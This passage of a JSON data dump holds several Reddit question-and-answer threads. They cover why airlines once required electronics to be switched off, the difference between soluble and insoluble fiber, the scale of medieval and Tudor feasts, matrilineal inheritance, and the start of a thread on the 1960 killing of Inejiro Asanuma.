most famous is the series of five UH-60 Blackhawk helicopters that crashed between 1981 to 1987. The accidents were a mystery for some time, but it was later confirmed that they were caused by signals from radio tower which caused the stabilator to go to a full down position, which put the helicopter in a dive. These accidents earned the UH-60 the nickname \"lawn dart\" at the time. \n\nIIRC in the 1990s it was quite common for the crew to instruct passengers to turn off all electronic devices for take off and landing. This is because it was not uncommon for devices to cause things like radio static or in severe cases minor interference with navigation.\n\nTo be clear, I'm not sure that consumer grade electronics ever posed a deadly threat to commercial aircraft. However, EMI shielding and testing was not nearly as thorough back then as it is now. Part of the reason for that is small electronic devices were not ubiquitous back then. Asking people to simply turn off an electronic device during take off and landing (critical phases of flight for navigation and radio communication) was not a big deal to people back then. It was easier for the FAA to just require that they be turned off, than to require extensive (and expensive) testing. \n\nAdditionally, I'm not aware of any credible sources which say that the reasoning was that passengers would pay more attention in the event of an emergency. It was certainly my personal experience that back then passengers stuck their noses in magazines and books as much as they do their cell phones and laptops now. If that was ever an official reason it was almost certainly not very effective.\n\n**The FAA's decision a few years ago to officially allow electronic devices at all phases of flight was, as far as I can tell, for two reasons: better understanding of the risks because of increased testing, and the fact that we all knew people were doing it anyway.** ", "In the past many electronic devices had analog signals and noisy power supplies. Analog signals are high powered and operate over a broad range of frequencies. Newer, digital electronics can operate at much lower power levels and operate at specific frequencies that can be tuned out of aircraft sensor systems. Add to that, many aircraft systems are digital now and resist interference better than analog system.", "Lots of good responses here, and for the most part bang on.  I've been involved with the testing and certification of aircraft at my airlinel to allow the use of onboard portable electronic devices, and in some cases onboard transmitting portable electronic devices.  In the industry, these are known by the acronym PED or TPED.  \n\nThe rules vary from country to country, but in Canada, before an airline can allow the use of PED or TPED during critical phases of flight, they have to demonstrate that they will not interfere with the onboard aircraft systems.  \n\nThis is commonly accomplished by blasting large amounts of RF inside the aircraft, in various locations throughout the cabin, of varrying frequency and transmitting power.  I'll admit, I'm not an engineer, so the details of this test are a little lost on me.  Anyway, while the RF storm is being conducted inside the aircraft, we need to test all of the aircraft systems and every possible combination of RF interference.  This is done by actually powering up the aircraft, all electrical systems and all the engines.  To test our aircraft took two 12 hour days of sitting in the airplane with the engines running and not going anywhere. \n\nAt the end of the day, I was quite surprised with the results.  Our aircraft passed most of the tests, but failed a couple as well.  The RF radiation was causing the door proximity (PROX) sensors to fail on the forward cargo door, causing warnings in the cockpit that the door was open, when in actuality it was not.  As you can imagine, this wouldn't be a good thing to happen in flight.  \n\nLong story short, after completion of this testing we can use non-transmitting PEDs in all phases of flight, and we can use Wi-Fi in non critical phases plof flight, but it's the cellphone frequencies that caused our issues so we are not allowed to have cellphones active on cell networks during any phases of flight ( from cabin door close at the start to cabin door open at the end.)\n\nModern aircraft are built with this in mind, and all of this testing is normally completed by the manufacturer during the design and development phases.  For older aircraft, this process that I outlined above needs to be completed. ", "Why do service stations not allow use of mobile phones near bowsers, yet allow me to use my radio key to lock the car?", "It's because they did not know. Better to err with caution. Similar with alcohol and antibiotics. Was strongly suggested no alcohol with antibiotics. Now found alcohol has almost no effigy on antibiotics ", "Also, not unrelated, there was an American Airlines windshear crash that happened right around the time cellphones became commonplace. Just so happened we didn't understand a lot about windshear during that time, and while the investigation went on - they questioned whether or not it had to do with cell phones. Immediately changed the rules to disallow them. \n\nIn typical FAA fashion, it took this long to come back around. \n", "This video should clear things up for you guys.\n\n_URL_0_", "Air traffic controller.\n\nFor obvious reasons we can't have devices on or in our work spaces!\n\n\nHowever, I do know the old analog cellular phones could sometimes leak (locally) and we would hear like a Morse code rapid ping on our frequencies.\n\n\nMaybe since everything is now digital in nature it doesn't interfere with the old com systems anymore? ", "long answer, yes there was a legitimate reason.  the first transistor radio's (1950's, 1960's) were extremely \"noisy\" RF radiation was emitted from the device at much higher levels and did interfere with the instruments in the aircraft.  As the FAA is a Gov't institution it moves extremely slow. the Personal Electronic Device(PED) rules were put in place in the 1960's.  FAR 91.19 basically putting the prevention and monitoring of EMI on the airline operators. (its easier to tell you not to use it than screen each device for compliance). during the rise of the PC and laptops 1980's this regulation was revised( 20 year gap in regulation change) and again pretty much once each subsequent decade currently FAR 91.21. the change has been twofold One the PED's use less power and emit less RF radiation than older devices. and two aircraft electronics  have been required to have more shielding against EMI then previous generations of aircraft.  not by the FAA but by the airline operators via requirements sent to the aircraft manufacturers and their vendors.  The FAA puts the onus of ensuring that PED's don't interfere with safe operation of the aircraft on the airline operators. Currently all restrictions on PED use inflight are at the discretion of the airline operators.\n\nSource: EMI technician; Avionics test technician. ", "Airline pilot and flight instructor here. The laws (regulations) still forbid the pilot(s) from using unapproved electronics during typical flight and on specific types of instrument approaches (CATII AND III). As for consumer grade electronics, they would interfere with the instruments back when the regulations were written. Here's the \"ELI5\" part: pilots used to navigate with very sensitive electronics called automated direction finders (ADFs). These were essential very sensitive devices that operated on AM radio waves and would tell you the difference in angular deflection between the nose of the aircraft and where the radio beacon was. These radio stations known as Non-Directional Beacons (NDBs) were effectively AM radio stations that broadcasted specific morse code identifiers that would let you know that you had the correct station. The ADF however, was sensitive enough that a handheld radio or other strong electromagnetic fields generated by any decent sized and poorly shielded electronics in the cockpit could deflect the bearing pointer on the ADF and cause loss of navigation fidelity in the instrument. In fact, whenever an aircraft would fly near lightning (within 30nm of a cell and honestly far too often) the ADF would deflect to point directly at the lightning strike (which emits all radio wavelengths simultaneously). So the rules were created to prevent erroneous readings from causing airplanes to navigate poorly and geneally into each other or the planet. ", "It caused that beeping sound you used to hear in your car speakers on older phones, and it annoyed the pilots.  That was it.\n", "Today, they require that you turn on airplane mode and shut off all WiFi, data, and bluetooth services for takeoff and landing, which still allows you to use the device to play, read, or whatever offline", "This was based on the fact lots of navigation radios needs 118-132 MHz clear.   Very basic (old) instruments were unable to tell if a signal was interference or legit navigational aids.\n\nBack in the day the \"transistor radio\" revolutionized personal audio and the FM transistor radio was even better.  So people had these on planes and thought it was much better than the movie, and it was 20 years before cassette tapes.  Even eight tracks were 10 years out!\n\nSimply put FM radios work using a small local transmitter that \"mixes\" with the incoming signal.  This way the incoming signal is converted to 21.4 MHz and a fixed tuned crystal converts that 21.4 MHz signal to audio.  \n\nLets say you're listing to 103.1 MHz on the FM band.  Your FM radio will be making a signal at 124.5 MHz and \"mixing\" it with the antenna input.  This will make 124.5-103.1 and output 21.4 MHz.  The problem is it radiates the 124.5 MHz frequency too.  In expensive radios they would filter and shield this to make it a non-issue.  However in cheap radios, they would radiate this signal.   \n\nSince 124.5 MHz is in the aircraft band, that would override anything from the ground and interfere with navigation.\n\nThis is why the electronics ban started.  \n\nLater on the FCC would make it illegal to use the a radio that generated 124.5 MHz, but that was years after it was banned.  Cellular phones were lumped in with this starting in the 90's as the early ones were very high power and could radiate in the radar frequency ranges (1030/1090 MHz).  A modern cellular phone will not work in an airplane and is much lower power.", "Ironically, I have a degree in computer engineering with a specialty in radio signals, but I'm not going to weigh in on that aspect of the issue because I don't know enough about avionics to pretend to be an expert.\n\nHowever, there's an important concept in capital-R Risk (the practice of identifying and mitigating risk for corporations) which essentially boils down to \"if the cost of an incident is incredibly high and the cost of mitigation is incredibly low, you pretty much have to do the mitigation.\"\n\nIt costs the airlines almost nothing to enforce the \"turn off your electronics\" rule on each flight. The flight attendants don't make more money for enforcing it, and passengers don't have the option to change to another airline because all airlines enforce it. Thus, cost is approximately zero.\n\nHowever, one crash in which the airline is found to be at fault - a fairly likely scenario if the crash was caused by some avionics fault induced by a heretofore unknown mechanism of electromagnetic interference from a personal device - could cost the airline hundreds and hundreds of millions of dollars. \n\nThus, you find yourself in a situation where the rate of risk is impossible to measure (we don't know of specific ways that avionics could fail, so we can say low but not precisely how low) but the cost of an incident is definitely extremely, extremely high, and the cost to mitigate the risk is extremely low, approaching zero. Airlines are going to take that deal.\n\nMaximum ELI5 answer/TL;DR: If you could eliminate a small risk of suddenly dying by scratching your cheek once a day, you'd scratch your cheek once a day.", "Sadly this is not true all around the world.\n\nI recently endured a 20~ hour journey on China Southern where for some unknown reason mobile phone use is banned throughout flights, even listening to music on flight mode etc.", "I think it might depend on the plane. On some flights it's not asked that people power down electronics, but just 2 weeks ago I was on a flight where they asked for it, so maybe it has something to do with the type of plane.", "I remember watching a documentary called \"Journeys with George \" about the 2000 election. In that movie, the press plane had a mechanical issue and they moved the governor (bush), and the entire press to a new plane immediately and every single reporter and election staff were on mobile phones for most of the takeoff and landing. There was secret service, all sorts of people. From that moment forward, I never used airplane mode ever again, and I flew weekly for ten of those sixteen years.", "Only interference I've ever seen in the flight deck is if a cell phone is left off of airplane mode, and begins searching for service, you can hear a static in the headset. It's much like putting a blackberry beside an old computer speaker and can hear that pulsing static sound. \n\nPhone has to be relatively close to the headset cord to cause this. Not a huge issue these days though more just an annoyance. ", "Interference, allegedly. However, the Mythbusters crew were unable to cause any interference using a **wide** variety of cellphones (new and old), and a slew of different airplane systems.\n\n_URL_0_", "A few years ago in an offhand comment in the economist magazine, it was indicated in an articvle that the cell phones affected towers on the ground and  not anything to do with the aircraft itself.", "While delta lately hasn't told me to, I literally just flew united to Hawaii two days ago. They told us to put small devices on airplane mode, computers and such off. So it may be airline dependent?", "Have you ever had your phone sitting on a desk next to your speaker or sitting on top of speaker wire, and heard a \"blip blip blip buzz\" sound?\n\nThat's electromagnetic radio interference.  This has never been a danger in terms of crashing a plane with a pilot at the stick, but consider that that pilot is trying to communicate critical information with Air Traffic Control.  This buzzing interference is why cell phones were banned on take-off and landing phases.\n\nThe ban was extended to all electronic devices because *Safety First* and extended to all electronic devices through all phases of flight in some countries because *Safety First*.", "TPED testing and more strict qualification testing for critical systems, i.e. Level C and above.  Levels are assigned based upon safety impacts based on identified failure modes ranging from No Safety Effect to Catastrophic.  Level C represents that there is a failuremodes that may introduce a Major safety impacts, such as significantly higher crew workload (i.e. something fails and it reduces safety margins as pilots need to mitigate it while flying the plane).\n\nYou can look at the FAA rgl library and see past incidents where transmitting devices were impacting critical systems such as Communication, Surveillance and Navigation radio systems or flickering display units in the flight deck.  A prominent one that happened was on Boeing 737s and specific Honeywell display units which would turn off from WiFi and Cellular signals.  This forced Boeing to replace all those DUs on new and flying aircrafts, not a cheap nor quick task by any stretch, we're talking millions upon millions of dollars if not more.\n\n(Am avionics engineer, deal with this kind of certification a lot.  In summary, we build critical systems that are more resilient to external emissions.)\n\nIf you wanted to get really in-depth with it I would suggest the RTCA documents DO-297 and DO-307.  For qualification testing Section 20 in DO-160 has your susceptibility requirements.  There's two types of coupling identified in aviation, Backdoor Coupling, i.e. like a device causing interference with an Display Unit and causing it to flickering, or introducing interference on the cabling.  The other is Front Door Coupling and primarily applies to radio systems that have interference being introduced on their intended receive frequencies.  I.e. say my ILS Glideslope is 335MHz and something transmits on this frequency.  ILS is an instrument landing system primarily used for low visibility landing, i.e. CAT II and above.\n\nWe generally have to assume that if there's not enough pathloss to the antenna to prevent coupling of an interference on the same frequency this may cause the ILS system to mislead and go off target and mislead the pilot or autopilot.  This is Catastrophic as you will rely upon those systems in low visibility landing situations.  It's another thing to 'jam' the system as this will notify the pilot of the failure and they can correct it through their procedures, resulting in a Major hazard.  The notification failuremodes however to warn the pilot of a failure is Catastrophic, however.  For part 25 aircrafts, such as your normal commercial airliner, AC 25.1309 provides in Appendix 2 I think a list of example failure modes and their hazard effects (called a Functional Hazard Analysis or Assessment -- FHA).  The FAA PED ARC report is also another great resource that really summarizes backdoor and front door coupling hazards.", "The reason to turn off your phone was so you would pay attention during the flight attendant emergency demonstration. And they gave up because people are now addicted to their phones. The Alec Baldwin lawsuit proved that the \"radio frequency interference\" story was BS I believe.", "We still have to power everything down in China, and can't have phones on at any point, even in airplane mode. Of course, most people do their best to ignore the rules.", "Literally just watched a YouTube video about it today. I'm new to the sub, so I'm not sure if this is allowed (pls let me know) _URL_0_", "News to me... In Europe they still require you to at least switch on flight mode during take off and landing. \n\nI once spend an afternoon reading a collection of airline staff reports on the subject: (Only very few) pilots reported noise on their radio headset during landing and take off. It was assumed that this noise was caused by passenger devices constantly trying to connect with antennas on the ground, searching for service. \n\nFor example, one pilot who experienced noise after passengers were asked to switch off devices had his cabin crew go through the plane to check manually whether all devices were shut down. They found one device still running, they switched it off, and reportedly the problem was now solved.\n\nNo research or tests have been able to replicate these problems though. \n\n", "EMC and Avionics Engineer here:\n\nThe level of immunity required by airborne equipment is specified by RTCA Do-160. This standard is often updated as new PED RF technology is invented. Currently we have Do-160G which required RF immunity testing to 18 GHz. So when you hop onboard that shiny new Dreambus certified to -G you are far safer than on an 80s airliner certfied to -C;. I would not like to guarantee what would happen if you fired up a PED with 5GHz WiFi or LTE on such an aircraft. And there are lots of airliners even older than that in use today.\n\nSo while your device is unlikely to cause the aircraft to crash it may cause some squeaky bum moments on the Flight deck. One real example was of a cellphone triggering a cargo smoke alarm which at very best would get you an early escape from the hold at LHR, at worst an unscheduled stop over in Siberia.", "We moved from analog to digital electronic. Similar to how old analog TV's were effected by electronic devices a plane would get bombarded with noises. Digital TV has no noise anymore. It is encoded digitally so the message that is decoded contains no noise because the noise is added after the encoding akdbis therefore not encoded itself.", "ok the reason for aircraft to request power down of electronics were due to during that era of the 1st gen mobile phone are using the similar frequencies of what the clockpit is using for their transmitters. since everything were analog signalling back then, cross talk happens. this causes interference to the signal and can cause disaster.\n\nwell if you work in the aircraft industries, you will know that to change a certain SOP (standard operating procedures) is a heck of problem because there are so many steps to do, so many files to re-document, so many approval to make, so many debunking to prove and proposing of a better/proven solution etc. for that (generally laziness in updating the rules and that much of time wasted just to update it) is the reason why till 2016 it is STILL a requirement to power down the electronics during takeoff and landing.\n\nso now, someone/some group actually read into that and did the updating hence this powering down is no longer needed.\n\nthe science behind this is that, since now all devices are running on Octagonal signal(digitized), signal cannot be interfere in this manner. just imagine, phones is running on an example frequency, 2.1ghz, if it is like the older days where by technology is still running on a single plane (frequency plane), then there will be full of collision and interference. but now, since it is digitized, it is running on not just the frequency plane (FDMA), it is also running on time plane (TDMA) and also on coding plane (CDMA). so it means that to really interfere a signal, you need the precise frequency at the correct hop of time at the correct position of phase.\n\nthis is why the current radio doesn't interfere with airplane take off or landing.\n\nthere are more to this but this is suffice. \n\ni work in telco and i'm a radio expert. my best friend fly commercial airline, he is an expert in airplane stuff and was a geek to that. i asked this question many many years before while i studied radio and realised your question and have asked him. ", "I bet there is a group of terrorists who have dressed and acted under the guise of being a techie and has been trying for years to take down planes by carrying as many electronics as possible! ", "If there was a legit need for them to be off they wouldn't let you still keep them and just take your word for it because it can do the same thing whether it is in your bag or in your hands actively.", "Frequency, modulations and use is what changed. Older devices used TDMA and FDMA  (users were uniquely identified either by Frequency or transmission Time) which caused interference. Modern devices uses codes (code division multi access) to differentiate user, allowing several simultaneous streams across single and multiple devices. ", "I asked a friends dad who flew dash 8's in the 80's-90's and he said that with the old analog phones and older planes that weren't shielded as well it would cause the navigation systems to go screwy.  nothing major that they didnt know how to deal with, but it was annoying and if other systems failed potentially a problem.\n\nNewer planes have all the wiring shielded and modern cell phones use way lower power than the old ones.", "Some airline companies such as Air China still forbid the use of cell phones at all phases of flight. I was used to keeping it on since I'm from Canada and we never require airplane mode, but I was approached by one of the flight attendants who sternly told me to turn my phone off even though my phone was in airplane mode and I was watching an offline video. \n\nGet with the times Air China...", "Whenever the answer is a long and complicated one, filled with mumbo jumbo and requires lots of details to try to make it fit...its BS\n\nWe used cell phones and all sorts of other electronic devices including walkie-talkies during takeoffs and landings during my Secret Service days 1989-1995 and those were old planes...\n\nThe truth is airlines want an excuse for pilot error and to mitigate their own legal responsibilities, end of story.", "Non 18 paragraph answer: they used to not know what cell phones, laptops, etc would do to planes electronics so they went with better safe than sorry. Now they know they won't interfere so they let you use them.", "Related slightly, as in a practice that continues where it may not need to. Isn't it true that mobile phones can be used at a gas station and it's actually static from car to human that causes spontaneous fires?\n\nSane people, please don't test this theory, you may just blow up.\n\nCandidates for the Darwin award, you just carry on.", "There is almost zero evidence of an onboard device ever causing any issues on the flight deck. ", "My mentor in university was an airline engineer. He told me that consumer grade electronics have never been a problem. If they actually were, turning them off would not be on the honor system. The real reason according to him was due to cell phones connecting to different towers across different states and the constant connections caused problems for early cell phone carriers. ", "So why is airplane mode a thing or at least why is it called that?", "I was once told my cell phone could cause Electromagnetic interference to aircraft systems, I replied how about the 1000's of phones within a mile of this aircraft why wouldn't they interfere with the plane as well. My point was that phones  do not affect plane electronics.", "The FAA specifically allowed it.  That's literally the only reason, not complex or anything like some of the people here are trying to make it out to be.\n\n_URL_0_\n\n2013.  Before that time, yes, you still had to turn off electronics during takeoff", "Technically, there was probably no reason to power them down.  However, there was speculation that it could potentially interfere with the aircrafts electronics or navigation equipment.  Better safe than sorry.  \n\nWe in the airline industry are terribly sorry for the super inconvenient shutting off of your phone, we know this is a close call on if it's worse to shut off your phone for a few minutes or to have everyone on the flight die.", "I always thought that it was just so that you listen to the safety demonstration or the pilots instructions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://see.msfc.nasa.gov/sites/see.msfc.nasa.gov/files/rp-1374.pdf"], [], [], [], [], [], ["https://www.youtube.com/watch?v=JYAq-7sOzXQ"], [], [], [], [], [], [], [], [], [], [], [], ["http://www.discovery.com/tv-shows/mythbusters/mythbusters-database/cell-phones-interfere-plane-instruments/"], [], [], [], [], [], [], ["https://youtu.be/f9yUF0WEKZU"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.faa.gov/news/press_releases/news_story.cfm?newsId=15254"], [], []]}
{"q_id": "7xpy1b", "title": "what are the differences between soluble fiber and insoluble fiber?", "selftext": "Why might someone prefer one over the other in a healthy diet?\n\nEDIT: Wow, thank you for all of the great answers; I\u2019m learning a lot. Soon, my poops will be pristine!\n\n*****\n\nThe answer to \u201cWhich type of fiber should I consume?\u201d seems to be, perhaps unsurprisingly, \u201cIt depends.\u201d And there are a lot of people getting medical-condition-specific answers, and that\u2019s *awesome*\u2014in fact, that\u2019s what prompted me to ask this question in the first place. \n\nIn the interest of accessibility for anyone who would like to jump into a discussion, I would like to organize the topics of some of the lower comment threads here that have jumped out at me:\n\n* [Bacteria](_URL_6_)\n* [Colitis](_URL_9_)\n* [Constipation](_URL_3_)\n* [Diarrhea](_URL_5_)\n* [Homemade yogurt](_URL_1_)\n* [IBS](_URL_7_)\n* [Incontinence](_URL_0_)\n* [Keto](_URL_8_)\n* [Malabsorption](_URL_2_)\n* [Sugar](_URL_4_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/eli5_what_are_the_differences_between_soluble/", "answers": {"a_id": ["dua6ykj", "dua7371", "duabdem", "duagul6", "duahx04", "duajcjh", "duajlw8", "dual8xf", "duan4in", "duaod5o", "duaq2z8", "duatmag", "duavfvk", "duavjsq", "dub88pa", "dubnthd"], "score": [1439, 134, 55, 54, 9, 5, 3, 14, 8, 11, 5, 8, 4, 2, 7, 7], "text": ["Soluble fiber attracts water and turns to gel during digestion. This slows digestion. Soluble fiber is found in oat bran, barley, nuts, seeds, beans, lentils, peas, and some fruits and vegetables. It is also found in psyllium, a common fiber supplement. Some types of soluble fiber may help lower risk of heart disease.\n\nInsoluble fiber is found in foods such as wheat bran, vegetables, and whole grains. It adds bulk to the stool and appears to help food pass more quickly through the stomach and intestines.", "Soluble fiber absorbs liquid in the digestive tract to form gel-like substances and is found in fruits (pectin), oats, nuts, and legumes among others.\n\n\nInsoluble fiber does not absorb liquid and is made of the indigestible materials in foods like fruit skins, certain vegetables, whole grain products and whole grain rice among others.\n\n\nFiber is needed by the body to aid your intestines in moving food along and make stool (poo) easier to pass. The fiber binds the stool together and can even absorb cholesterol, preventing some from entering your bloodstream. Low calorie high fiber foods are popular in diets because they bulk up in the stomach after absorbing liquid making you feel full with less food. Many medical conditions can be alleviated with regular fiber consumption such as constipation, hemerrhoids, incontinence, etc.", "Follow up question: how do these two types of fiber interact with sugars in your diet? I ask because I've heard fiber is what makes a piece of fruit healthier than a piece of candy with the same amount of sugar.", "Bonus benefit that I haven't seen anyone say yet. The microbes in your gut feed off of fiber, particularly insoluble fiber, and produce really good nutrients for us from it. These microbial byproducts help feed the cells that line our intestine and keep that barrier healthy and they also help keep the gut immune system in check reducing inflammation.", "Follow up question: some high fibre foods give pain to people with gut problems like Chrones disease and ibd. Do those people have to avoid one of the fibre types or is it just hit-or-miss? ", "Others have explained the difference. Although actually we are trying not to emphasise soluble vs insoluble fibre so much in advice to people now. It used to be a big thing to mention to IBS patients. ", "One disSOLves when digested, and the other does not, but is still helpful because it adds bulk to the stool and helps keep you regular with your BMs.", "Soluble fiber: a sponge to soak up bad cholesterol, and provides nutrients for the good bacteria in your gut.\n\nInsoluble fiber: a scouring pad to scrub the nasty stuff out of your intestines, and provides bulk so you have nice healthy poops.", "I'll add that you don't need to add fiber to a low fiber diet. The rule is, don't remove the fiber that's there. A steak doesn't need to be washed down with fiber to prevent constipation. Fruits and vegetables should be eaten whole, with the fiber intact. Refined plant sugar and grain is what upsets and constipates the digestive tract.", "From a nutritional standpoint, insoluble fiber has 0 calories per gram and soluble fiber has 2 calories per gram", "Follow up question. To determine net carbs I am subtraction the dietary fiber from my carb total. Should I treat soluble and insoluble fiber differently?", "Follow up question: does soluble fibre stop people from needing to go to the rest room so many times a day?\n\nIf I would typically go 5 times a day, would this kind of stop the mini poops and ensure one or two big poops? ", "My partner has had what was diagnosed as IBS about 5/6 years ago and since that we've found that soluble fibre is the only kind she can eat without being in severe stomach pain. She's cut out almost all insoluble fibre over the years and copes well by substituting flour for oat/gram flour. Has anyone else experienced this? \n\nWe've been pretty much alone in this for years it'd be nice to find someone who understands! ", "The human body only produces enzymes to digest proteins, fats, starch and a few simple sugars. The remaining components of food either pass through the intestines undigested (insoluble fiber) or are digested by bacteria and fungi in the colon (soluble fiber.) Soluble fiber feeds gut flora. Insoluble fiber is usually minimized by traditional food preparation, for example grains, because it contains unhealthy materials, such as phytic acid. Soluble fiber is healthy and required for normal development of the gut/immune system, whereas insoluble fiber should be avoided.\n\nMy go-to: Dr Art Ayers. Found [here](_URL_0_).", "I got the best answer to this from a dietician when I was diagnosed with diverticulitis following a perforated bowel.\nImagine putting the food into a glass of water.  Will it dissolve or will it stay the same?  Put applesauce (soluble) in water and it will dissolve.  Put apple skin (non-soluble) in water and it will not dissolve.", "You know how your kitchen sponge has a squishy side and a scrubby side? It's like that. Soluble fiber absorbs water and swells up to give bulk, insoluble scrubs out the intestines on its way through. "]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/comment/dub1de1?st=JDP3IRFR&amp;sh=5916382e", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/comment/duazmk1?st=JDP4FJZ8&amp;sh=9f2f9edd", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/comment/duak903?st=JDP3WWIQ&amp;sh=286900b3", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/comment/duak7xe?st=JDP3W9B6&amp;sh=125bccac", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/eli5_what_are_the_differences_between_soluble/duabdem/?context=3&amp;st=JDP3JKP2&amp;sh=7c0ec0ee", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/comment/duakdwr?st=JDP3XKUA&amp;sh=80dfb819", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/eli5_what_are_the_differences_between_soluble/duagul6/?context=3&amp;st=JDP3N2V1&amp;sh=b70c2b69", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/eli5_what_are_the_differences_between_soluble/duahx04/?context=3&amp;st=JDP3ZWU6&amp;sh=2800ece0", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/comment/duamzlf?st=JDP4AQQ0&amp;sh=a8d33730", "https://www.reddit.com/r/explainlikeimfive/comments/7xpy1b/comment/duaptfn?st=JDP3V2HG&amp;sh=452b9ee3"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], ["http://coolinginflammation.blogspot.com/2011/06/soluble-fiber-food-for-gut-flora.html"], [], []]}
{"q_id": "5g2o3x", "title": "In the fantasy series, \"A Song of Ice and Fire,\" kings and high lords are depicted feasting hundreds of guests or more, featuring roasted animals, meat pies, etc.; did feasts of this scale really occur in medieval Europe, and if so, what were the kitchens responsible for them like?", "selftext": "To further elaborate on the question, I am wondering specifically if are there any reports of how staff and feasts were organized, how meals were planned, and how lavish a feast might be vs. an average meal for royalty and nobility? Did kitchens have to hire outside help for special occasions? If so, where did these temporary staff come from? What was kitchen technology like for the very wealthy in medieval Europe?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5g2o3x/in_the_fantasy_series_a_song_of_ice_and_fire/", "answers": {"a_id": ["dapd055", "dapgoz0", "dapthcb"], "score": [6, 201, 5], "text": ["Are there any good places to find accurate recorded recipes from ancient periods?\n", "I might be able to provide something of an answer for you by examining Henry VIII's court. Now, I do understand that his reign was slightly later than what you're looking for, but in many ways--especially in matters of personnel and kitchen technology--there would have been a lot of crossover (I'm just using Henry VIII because I happen to have a book handy that details his court's food production  in a way that I think might be helpful for you).\n\nOkay. Obviously Henry VIII had a lavish court, and his kitchen reflected that. At any given time, the kitchen as many as 350 people working to feed 700 members of the court. This does not include actual feasts, when the kitchen would hire so many temporary workers that they would erect temporary \"kitchen tents\" outside (I don't have exact numbers for how many temporary workers would be hired, though they would come from the surrounding city/town). Ovens as large as 12 feet in diameter could make hundreds of pastries or pie crusts at a time. While exactly how many dishes any individual at the court had available at any given meal varied based on their importance, even servants had four dishes at each meal (the Lord Chamberlain had sixteen dishes at dinner). \n\nKitchen technology, such as it was, wasn't much different for the wealthy than for anyone else. Kitchens relied upon vast ovens and cooking things over fires. Meat would be roasted on spits which young boys would turn for hours, to make sure that it cooked evenly without drying out. Of course, the wealthy would have the best cooks and best ingredients, so that certainly made a difference. \n\nThis is to give you some idea of how vast an operation Henry VIII's kitchen was on a day-to-day basis, to make it clear that, yes, a kitchen of that era could serve hundreds of people on a daily basis. And feasts were another level of excess. Henry VIII spent around 4 million pounds annually on feasting. These feasts had up to seven hundred guests and 240 (yes, that zero is supposed to be there) different dishes. \n\nThe Field of the Cloth of Gold, a summit between Henry VIII and Francis I, is an example of even more lavish feasting. At this event, one of the most opulent of its age, Henry VIII brought with him a retinue of just under 4,000 people, and Francis I brought similar numbers. To this summit was brought the following amounts of food to be prepared by Henry VIII's traveling kitchen staff: 2,200 sheep, 1,300 chickens, 800 calves, 302 herons, 13 swans, 17 bucks, 7,000 whiting, 700 conger eels, not mention all the non-meat food items like sugar and flour. This was, in today's money, 2,651,700 pounds worth of food. Twelve pastry cooks, twelve brewers, and twelve bakers were hired in addition to the king's usual kitchen staff. This summit lasted nearly two weeks and food was provided for thousands of individuals during this time.\n\nI hope this somewhat answers your question. In short, yes, feasts of the magnitude shown in A Song of Ice and Fire were certainly possible.\n\nSource:\nWeir, Alison. Henry VIII: The King and His Court. Ballantine Books, 2001. \n\nNote: I'm aware Weir's book was written primarily for a popular audience; however, it is also very historically accurate. I used this book in a graduate seminar taught by a professor whose speciality is Renaissance England, and he touted this book as an excellent resource.", "A bit after this time but to anyone interested in archaic cookery I strongly recommend Alexandre Dumas' (the same) Dictionary of Cuisine. Lots of lost cooking forms from a similarly lavish dining age. Example: the now extinct subspecies of terrier known as a \"spit dog\" whose sole purpose was to turn roasts via hamster wheel mechanics. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3jko56", "title": "Why was inheritance never passed along matrineally?", "selftext": "This might be better suited for ask anthropology, I'll post this there if that's the case. Beyond a few cultures I know of, and the ones I know of tend to be a bit more on the fringe, why was inheritance always based on who the father was? It's pretty hard to contest who the mother is, but not so much with father's. Wouldnt it just be easier to pass that stuff down the mothers family line? I would think it would avoid a lot of controversy.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3jko56/why_was_inheritance_never_passed_along_matrineally/", "answers": {"a_id": ["cuq6tdl"], "score": [3], "text": ["X-post would be a good idea.\n\nThe dominant model tends to be patrilineality, but there have been many bilineal cultures, like America, and certainly matrilineal ones. The Pharaonic throne was matrilineal - no question but outside of conquest it passed mother to child.\n\nHerodotus tells us the Carians were matrilineal, and used matronyms rather than patronyms. He ought to know as he was Carian born and raised. They also had queens regnant, like Artemisia of Helikarnassus, who left her grown son as regent while she went to war with Xerxes.\n\nMedieval Basques were matrilineal.\n\nAnd as my DH dug up recently, some very few British titles were created to pass from mother to daughter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8fjq1d", "title": "In 1960, Otoya Yamaguchi (17 year old ultra-nationalist) killed the leader of the Japanese socialist party (Inejiro Asanuma). How much support was Asanuma getting before he was killed, and did he have a real chance at winning the elections?", "selftext": "[Image for reference](_URL_0_)\n\nYamaguchi famously said: \"Death is a preferable alternative to communism\".\n\nWould Japan have gone down the road of communism, like China or North Korea, if it hadn't been for him? And if that's the case, how did the killing affect the voters?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8fjq1d/in_1960_otoya_yamaguchi_17_year_old/", "answers": {"a_id": ["dy46guv", "dy54q7z", "dy5klxx"], "score": [58, 112, 18], "text": ["Hey OP, I'm going to mark this NSFW just to be on the safe side for folks with image preview turned on. The question is fine, just want to make sure no one has that pop up somewhere they don't want it. ", " >  death is a preferable alternative to communism\n\nThe only sources for him saying this are two Reddit posts from The_Donald that attribute it to him.\n\nIt's actually from the Fallout 3 video game. ", "TLDR: No, it's incredibly unlikely that Asanuma was ever going to become prime minister.\n\nTo place things in context, 1960 was a very eventful year for Japanese politics. The security treaty between the US and Japan that had been signed when 